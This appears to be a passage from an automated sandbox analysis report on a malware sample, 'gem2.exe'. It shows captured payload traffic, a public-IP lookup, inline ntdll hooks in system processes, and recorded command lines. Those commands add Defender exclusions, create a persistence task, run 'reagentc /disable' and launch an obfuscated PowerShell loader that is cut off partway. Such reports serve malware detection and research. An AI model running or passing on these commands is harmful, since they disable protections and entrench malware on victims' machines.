GdgRnPyYEnj+KexVMNW7krAxlXHV0b+Fj8IVhbHXjJJD8M508HeZBLHUEYD8dxkEsdZF0FFUuYem1YemldW5h4TC2MZNgOkEsde2NfP4rneeJ4xS09oJx533LxMnQ5Z3hALbigGXLxMnQ5Z3hALbigGXLxMnQ5Z3hALYxydDLxJMkRuSsDRjqKYnjNJgnkRSE/DOV530+nj1p66EUKuUkmPg7mT6KG43lKJbqZCWRMFjwrhlT+CupPIp7NUw1bu
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 49 57 7a 2b 6f 49 6c 47 64 57 35 68 31 74 46 5a 49 57 7a 2b 6f 49 6c 79 64 57 35 68 31 73 46 5a 49 57 7a 2b 6f 49 6c 2b 64 57 35 68 31 71 31 5a 49 57 7a 2b 6f 49 6c 71 64 57 35 68 4d 2f 36 6f 50 7a 65 32 4f 2b 71 41 39 49 4b 78 62 48 56 75 4d 6a 72 2b 74 4f 71 64 4a 75 63 55 6c 49 70 37 49 55 77 31 62 75 71 38 2f 43 75 64 34 66 68 65 6e 70 4f 4b 68 76 32 61 69 70 48 6b 72 41 46 45 4d 6a 71 4b 65 77 56 4d 4e 57 37 6b 72 41 46 77 4e 75 63 34 6b 75 7a 5a 52 5a 47 65 6b 79 61 52 46 4a 54 2b 6c 67 65 66 30 4a 46 30 43 46 55 75 59 65 6d 31 47 34 55 7a 4b 7a 57 6f 72 79 44 6c 6a 65 2b 5a 44 6a 49 36 49 67 5a 68 37 48 56 75 43 32 7a 38 49 34 47 54 59 46 5a 42 4c 48 58 6c 56 46 42 56 4c 6d 45 38 69 72 6a 71 74 4d 39 75 49 57 78 31 58 61 48 6e 76 7a 7a 71 6c 78 4f Data Ascii: IWz+oIlGdW5h1tFZIWz+oIlydW5h1sFZIWz+oIl+dW5h1q1ZIWz+oIlqdW5hM/6oPze2O+qA9IKxbHVuMjr+tOqdJucUlIp7IUw1buq8/Cud4fhenpOKhv2aipHkrAFEMjqKewVMNW7krAFwNuc4kuzZRZGekyaRFJT+lgef0JF0CFUuYem1G4UzKzWoryDlje+ZDjI6IgZh7HVuC2z8I4GTYFZBLHXlVFBVLmE8irjqtM9uIWx1XaHnvzzqlxO
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 53 78 68 4c 33 55 71 59 53 6c 31 4b 47 45 72 64 53 5a 68 4a 58 55 6b 59 53 64 31 49 6d 45 68 64 53 42 68 49 33 55 2b 59 54 31 31 50 47 45 2f 64 54 70 68 4f 58 55 34 59 54 74 31 4e 6d 45 31 64 54 52 68 62 48 56 75 59 54 42 31 62 6d 45 2f 64 54 64 68 50 33 55 36 59 53 6c 31 49 32 46 73 64 57 35 68 41 67 45 4b 44 51 42 62 43 67 30 41 64 57 35 68 50 67 45 43 4a 67 6b 42 4f 41 51 65 42 67 63 4f 41 6e 56 75 59 53 6b 74 4b 32 45 2f 64 53 46 68 4b 6e 55 36 59 54 74 31 4c 32 45 2b 64 53 74 68 62 48 56 75 59 55 68 31 49 6d 45 68 64 54 5a 68 48 33 55 61 59 51 31 31 43 57 45 4a 64 52 78 68 62 48 56 75 59 55 68 31 49 6d 45 68 64 54 5a 68 48 33 55 59 59 51 39 31 58 57 46 65 64 57 35 68 53 48 55 69 59 53 46 31 4e 6d 45 66 64 52 68 68 44 33 56 59 59 56 68 31 62 6d 45 63 Data Ascii: SxhL3UqYSl1KGErdSZhJXUkYSd1ImEhdSBhI3U+YT11PGE/dTphOXU4YTt1NmE1dTRhbHVuYTB1bmE/dTdhP3U6YSl1I2FsdW5hAgEKDQBbCg0AdW5hPgECJgkBOAQeBgcOAnVuYSktK2E/dSFhKnU6YTt1L2E+dSthbHVuYUh1ImEhdTZhH3UaYQ11CWEJdRxhbHVuYUh1ImEhdTZhH3UYYQ91XWFedW5hSHUiYSF1NmEfdRhhD3VYYVh1bmEc
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 68 31 51 6d 45 74 64 51 42 68 48 33 55 48 59 53 39 31 41 6d 45 4e 64 52 31 68 48 33 56 43 59 53 31 31 47 32 45 59 64 51 46 68 4c 33 55 43 59 51 31 31 48 57 45 66 64 51 35 68 51 48 55 31 59 53 46 31 47 32 45 41 64 52 70 68 42 58 55 4e 59 51 31 31 48 57 45 59 64 53 70 68 43 58 55 43 59 51 6c 31 43 57 45 4e 64 52 70 68 43 58 55 7a 59 55 56 31 56 57 46 49 64 54 70 68 46 58 55 65 59 51 6c 31 4c 47 45 5a 64 51 64 68 41 48 55 4b 59 51 6c 31 48 47 46 43 64 53 70 68 43 58 55 49 59 51 56 31 41 47 45 4a 64 53 31 68 41 33 55 41 59 52 39 31 47 6d 45 65 64 52 74 68 44 33 55 61 59 51 4e 31 48 47 46 45 64 51 35 68 50 6e 55 36 59 54 39 31 48 6d 45 4a 64 51 31 68 42 58 55 50 59 51 42 31 49 47 45 4e 64 51 4e 68 43 58 56 43 59 53 52 31 42 32 45 49 64 51 74 68 4c 6e 55 58 59 Data Ascii: h1QmEtdQBhH3UHYS91AmENdR1hH3VCYS11G2EYdQFhL3UCYQ11HWEfdQ5hQHU1YSF1G2EAdRphBXUNYQ11HWEYdSphCXUCYQl1CWENdRphCXUzYUV1VWFIdTphFXUeYQl1LGEZdQdhAHUKYQl1HGFCdSphCXUIYQV1AGEJdS1hA3UAYR91GmEedRthD3UaYQN1HGFEdQ5hPnU6YT91HmEJdQ1hBXUPYQB1IGENdQNhCXVCYSR1B2EIdQthLnUXY
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 68 58 58 55 7a 59 55 4a 31 4b 32 45 64 64 52 74 68 44 58 55 43 59 52 39 31 52 6d 45 4d 64 54 31 68 46 58 55 64 59 52 68 31 43 32 45 42 64 55 42 68 43 48 55 43 59 51 42 31 44 6d 46 46 64 52 4e 68 52 58 56 41 59 53 74 31 43 32 45 59 64 54 70 68 46 58 55 65 59 51 6c 31 52 6d 45 4d 64 53 4e 68 42 58 55 4e 59 52 35 31 41 57 45 66 64 51 46 68 43 6e 55 61 59 55 4a 31 4f 57 45 46 64 51 42 68 58 33 56 63 59 55 4a 31 4f 32 45 43 64 52 31 68 44 58 55 49 59 51 6c 31 49 47 45 4e 64 52 70 68 42 58 55 59 59 51 6c 31 49 32 45 4a 64 52 70 68 42 48 55 42 59 51 68 31 48 57 45 4d 64 55 64 68 56 33 56 4b 59 53 74 31 43 32 45 59 64 54 35 68 48 6e 55 42 59 51 39 31 4c 32 45 49 64 51 70 68 48 6e 55 4c 59 52 39 31 48 57 46 52 64 55 70 68 49 6e 55 50 59 52 68 31 42 32 45 61 64 51 Data Ascii: hXXUzYUJ1K2EddRthDXUCYR91RmEMdT1hFXUdYRh1C2EBdUBhCHUCYQB1DmFFdRNhRXVAYSt1C2EYdTphFXUeYQl1RmEMdSNhBXUNYR51AWEfdQFhCnUaYUJ1OWEFdQBhX3VcYUJ1O2ECdR1hDXUIYQl1IGENdRphBXUYYQl1I2EJdRphBHUBYQh1HWEMdUdhV3VKYSt1C2EYdT5hHnUBYQ91L2EIdQphHnULYR91HWFRdUphInUPYRh1B2EadQ
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 51 47 45 49 64 51 4a 68 41 48 55 4f 59 55 56 31 52 32 46 46 64 56 56 68 53 48 55 69 59 51 4e 31 44 32 45 49 64 53 4a 68 42 58 55 4d 59 52 35 31 44 32 45 65 64 52 64 68 50 48 55 61 59 52 35 31 55 32 46 49 64 53 6c 68 43 58 55 61 59 54 78 31 48 47 45 44 64 51 31 68 4c 58 55 4b 59 51 68 31 48 47 45 4a 64 52 31 68 48 33 56 41 59 53 56 31 41 47 45 61 64 51 46 68 42 33 55 4c 59 55 52 31 53 6d 45 69 64 52 74 68 41 48 55 43 59 55 42 31 4c 6d 46 45 64 54 56 68 49 33 55 4d 59 51 5a 31 43 32 45 50 64 52 70 68 4d 58 56 4b 59 53 64 31 43 32 45 65 64 51 42 68 43 58 55 43 59 56 39 31 58 47 45 38 64 52 70 68 48 6e 56 43 59 54 64 31 49 57 45 4f 64 51 52 68 43 58 55 4e 59 52 68 31 4d 32 46 45 64 51 35 68 49 48 55 42 59 51 31 31 43 6d 45 67 64 51 64 68 44 6e 55 63 59 51 31 Data Ascii: QGEIdQJhAHUOYUV1R2FFdVVhSHUiYQN1D2EIdSJhBXUMYR51D2EedRdhPHUaYR51U2FIdSlhCXUaYTx1HGEDdQ1hLXUKYQh1HGEJdR1hH3VAYSV1AGEadQFhB3ULYUR1SmEidRthAHUCYUB1LmFEdTVhI3UMYQZ1C2EPdRphMXVKYSd1C2EedQBhCXUCYV91XGE8dRphHnVCYTd1IWEOdQRhCXUNYRh1M2FEdQ5hIHUBYQ11CmEgdQdhDnUcYQ1
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 6e 55 61 59 52 6c 31 44 32 45 41 64 54 35 68 48 6e 55 42 59 52 68 31 43 32 45 50 64 52 70 68 50 48 55 61 59 52 35 31 51 6d 46 49 64 54 68 68 42 58 55 63 59 52 68 31 47 32 45 4e 64 51 4a 68 50 48 55 63 59 51 4e 31 47 6d 45 4a 64 51 31 68 47 48 55 71 59 51 6c 31 41 6d 45 4a 64 51 6c 68 44 58 55 61 59 51 6c 31 52 32 46 43 64 53 64 68 41 6e 55 59 59 51 4e 31 42 57 45 4a 64 55 5a 68 53 48 55 76 59 51 46 31 48 57 45 46 64 54 31 68 44 33 55 50 59 51 4a 31 4c 47 45 5a 64 51 68 68 43 6e 55 4c 59 52 35 31 50 6d 45 59 64 52 78 68 51 48 55 31 59 52 6c 31 42 32 45 43 64 52 70 68 58 33 56 63 59 54 46 31 56 6d 46 41 64 56 70 68 51 48 55 31 59 52 35 31 43 32 45 4b 64 54 4e 68 53 48 55 68 59 51 42 31 43 6d 45 38 64 52 78 68 41 33 55 61 59 51 6c 31 44 57 45 59 64 55 64 68 Data Ascii: nUaYRl1D2EAdT5hHnUBYRh1C2EPdRphPHUaYR51QmFIdThhBXUcYRh1G2ENdQJhPHUcYQN1GmEJdQ1hGHUqYQl1AmEJdQlhDXUaYQl1R2FCdSdhAnUYYQN1BWEJdUZhSHUvYQF1HWEFdT1hD3UPYQJ1LGEZdQhhCnULYR51PmEYdRxhQHU1YRl1B2ECdRphX3VcYTF1VmFAdVphQHU1YR51C2EKdTNhSHUhYQB1CmE8dRxhA3UaYQl1DWEYdUdh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49847	104.26.12.205	443	2236	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 08:26:42 UTC	77	OUT	GET / HTTP/1.1 Host: api.ipify.org User-Agent: curl/7.83.1 Accept: /
2025-01-12 08:26:42 UTC	424	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 08:26:42 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 900bc360aec68c96-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2022&min_rtt=2018&rtt_var=765&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=715&delivery_rate=1422308&cwnd=188&unsent_bytes=0&cid=dce4ff62d10081ba&ts=156&x=0"
2025-01-12 08:26:42 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	03:26:13
Start date:	12/01/2025
Path:	C:\Users\user\Desktop\gem2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\gem2.exe"
Imagebase:	0x7ff7cf280000
File size:	538'624 bytes
MD5 hash:	BE89D598CD96443479C02B022FF70532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:26:13
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionProcess 'svchost.exe'"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:26:13
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:26:17
Start date:	12/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7fb730000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:26:19
Start date:	12/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	SCHTASKS /CREATE /TN "System-f4855f59e0" /TR "C:\Windows\System32\System-f4855f59e0.exe" /SC ONLOGON /RL HIGHEST /F
Imagebase:	0x7ff727440000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:26:20
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:26:20
Start date:	12/01/2025
Path:	C:\Windows\System32\System-f4855f59e0.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\System-f4855f59e0.exe
Imagebase:	0x7ff6a54a0000
File size:	538'624 bytes
MD5 hash:	BE89D598CD96443479C02B022FF70532
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:26:30
Start date:	12/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Temp\Microsoft-f4855f59e0.exe"
Imagebase:	0x7ff7d1630000
File size:	538'624 bytes
MD5 hash:	BE89D598CD96443479C02B022FF70532
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg -change standby-timeout-ac 0
Imagebase:	0x7ff751f60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg -change monitor-timeout-ac 0
Imagebase:	0x7ff751f60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /setacvalueindex SCHEME_CURRENT SUB_BUTTONS LIDACTION 0
Imagebase:	0x7ff751f60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /setactive SCHEME_CURRENT
Imagebase:	0x7ff751f60000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\explorer.exe"
Imagebase:	0xae0000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C reagentc /disable
Imagebase:	0x7ff63cb60000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:26:31
Start date:	12/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:26:32
Start date:	12/01/2025
Path:	C:\Windows\System32\ReAgentc.exe
Wow64 process (32bit):	false
Commandline:	reagentc /disable
Imagebase:	0x7ff7d0300000
File size:	44'544 bytes
MD5 hash:	A109CC3B919C7D40E4114966340F39E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:26:32
Start date:	12/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:EtrMmUyKmezi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lQOtNkEZiwxXMY,[Parameter(Position=1)][Type]$pZbFqViXVD)$sbBqvXXfarI=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+'d'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+'ga'+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+'od'+'u'+'l'+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+'l'+''+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'led'+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+'to'+'C'+'l'+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$sbBqvXXfarI.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$lQOtNkEZiwxXMY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$sbBqvXXfarI.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+[Char](107)+''+'e'+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+'e'+'B'+''+'y'+''+[Char](83)+'i'+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tual',$pZbFqViXVD,$lQOtNkEZiwxXMY).SetImplementationFlags('Ru'+'n'+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $sbBqvXXfarI.CreateType();}$MoLktxqtnxyrW=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+'m'+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+'hod'+[Char](115)+'');$kpBUoTRvoOegOC=$MoLktxqtnxyrW.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+'r'+'o'+'c'+[Char](65)+''+[Char](100)+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EtevswwRQwRAejVCuvR=EtrMmUyKmezi @([String])([IntPtr]);$JKiOnBfFNlGvOZPRImquAA=EtrMmUyKmezi 